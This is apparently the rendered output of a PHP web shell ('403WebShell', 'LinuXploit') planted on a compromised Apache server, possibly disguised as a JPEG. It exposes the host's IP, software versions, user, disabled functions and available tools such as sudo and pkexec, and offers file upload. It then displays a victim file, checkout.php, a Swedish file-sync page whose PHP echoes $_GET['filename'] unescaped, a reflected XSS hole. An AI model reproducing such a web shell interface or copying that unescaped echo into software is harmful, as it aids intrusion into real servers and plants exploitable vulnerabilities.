403WebShell

????JFIF??x?x????'403WebShell403Webshell

Server IP : 79.136.114.73 / Your IP : 13.59.50.189
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/www/icad.astacus.se/api/notes/

Upload File :

[ Back ]

Current File : /var/www/icad.astacus.se/api/notes/checkout.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Untitled Document</title>
<style>
input {
     height: 20px;
     width: 300px;

}
.text {
	font-family: "Arial Black", Gadget, sans-serif;
}
</style>

<script>

function init(){
	
	
	 
	var path = extractValue("drawingpath");
	var companyid = extractValue("companyid");
	
	var forvaltningsid = path.substr(path.lastIndexOf("/A")+2,4);
	localStorage.setItem("Current_forvaltningsid",forvaltningsid);
	
	 if(localStorage.getItem("Synced_"+companyid+"_"+path) != "Spara"){
		document.getElementById("start").value = "Checka ut!";
	}else{
		document.getElementById("start").value = "Checka in!";
	}
	
	document.getElementById("temp_path").innerHTML = "Fil: "+path.substr(19,100); // Ignore: /Notes Online Files/
}



// Extract variable from url
function extractValue(variable){
	var url = decodeURIComponent(document.location.toString());
    var value = url.substring(url.indexOf(variable+"=") + variable.length + 1);
    var pos = value.indexOf("&");
	if(pos !== -1){
		return value.substring(0, pos);
	}else{
		return value;
	}
}

function delete_cache(){
	var c = confirm("Är du säker på att du vill tömma cachen? All osynkad data kommer att försvinna!");
	if(c == true){
		for (var key in localStorage){
			if(key.indexOf("SENDTOSERVER") !== -1){
				localStorage.removeItem(key);
			}
			
			if(key.indexOf("_count") !== -1){
				localStorage.removeItem(key);
			}
			
			
			if(key.indexOf("highest") !== -1){
				localStorage.removeItem(key);
			}
			
			


		}	
	}
}

function sync(){
	var path = extractValue("drawingpath");
	var companyid = extractValue("companyid");
	
	if(localStorage.getItem("Synced_"+companyid+"_"+path) == null 
	|| localStorage.getItem("Synced_"+companyid+"_"+path) == undefined
	|| localStorage.getItem("Synced_"+companyid+"_"+path) == "" ){
		
		
		get_data();
	}else if(localStorage.getItem("Synced_"+companyid+"_"+path) == "Spara"){
		

		submit_data();
	}else{
	
		
		get_data();
	}
}

function addZeros(n) {
  return (n<10? '00' : n<100? '0' : '') + n;
}

function get_data(){
		var xmlhttp = new XMLHttpRequest();
		var path = extractValue("drawingpath");
		var companyid = extractValue("companyid");

		
		xmlhttp.open("POST","http://www.notes-online.se/symbols/notes/stipa/getData.php",false);
		xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

		xmlhttp.send("companyid="+extractValue("companyid")+"&username="+extractValue("username")+"&drawingpath="+extractValue("drawingpath"));

		if(xmlhttp.status == 200){
			
			var arr = xmlhttp.responseText.split("###");
		
			if(arr[0].indexOf("ERROR") < 0){
			
				
			
			
				
				
			
				
			var x = 0;
			for (var a in arr){
				if(arr[x] != ""){
					var obj = JSON.parse(arr[x]);
				}else{
					var obj = null;	
				}
				var y = 0;
				
				
				for(var o in obj){
					if(obj[y][0] == "localStorageName"){
						localStorage.setItem(obj[y][2],arr[x]);
					}
					
				
		
					y++;
				}

				x++;
			}	
			
	
			
				localStorage.setItem("Synced_"+companyid+"_"+path,"Spara");
				document.getElementById("start").value = "Checka in!";
				alert("Filen har checkats ut och kan inte ändras av någon annan än dig!");
			}else{
				alert(arr[0]);	
			}
			
		}else{
			alert("Något gick fel vid hämtningen, var god försök igen!");	
		}
}

function submit_data(){
	
	if(checkIfInternet() == true){
		var data = "";
		var path = "";
		for (var key in localStorage){
			if(key.indexOf("SENDTOSERVER") !== -1){
				data += localStorage.getItem(key) + "###";
				
			}
		}

		var xmlhttp = new XMLHttpRequest();
		var path = extractValue("drawingpath");
		var companyid = extractValue("companyid");
		xmlhttp.open("POST","http://www.notes-online.se/symbols/notes/stipa/saveData.php",false);
		xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		
	
				
		xmlhttp.send("data="+data+"&companyid="+companyid+"&drawingpath="+path);

		if(xmlhttp.status == 200){
			alert(xmlhttp.responseText);
			document.getElementById("start").value = "Checka ut!";
			localStorage.setItem("Synced_"+companyid+"_"+path,"Hämta");
			
		}else{
			alert("Något gick fel vid synkronisering, var god försök igen!");	
		}	
	}else{
		alert("Det gick inte att ansluta till servern. Kontrollera din Internetanslutning och försök igen!");	
	}
}

function checkIfInternet(){	
	var req = new XMLHttpRequest();
	req.open('GET', "http://www.notes-online.se", false); 
	req.send(null);
	if(req.status == 200){
		return true;		
	}else{
		return false;
	}
}



</script>
</head>


<body onload="init();">

<p>&nbsp;</p>
<p>&nbsp;</p>
<center>
  <p><strong class="text">Export to Evacuationplans.se </strong><br />
    <br />
    <br />
    <span class="text3"><strong>Thank you! We will be contacting you soon!</strong></span></p>
  <p><span class="text3"><strong><br />
	  <input name="start5" id="start5" type="button" value="Exportera underlag" style="font-size:16px;width:210px" onclick="document.location.href='ExportToNotesServer://EXPORT'"/>
  </strong></span></p>
<p>&nbsp;</p><?php echo($_GET['filename']);?>
<span class="text2">
</span>
</center>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit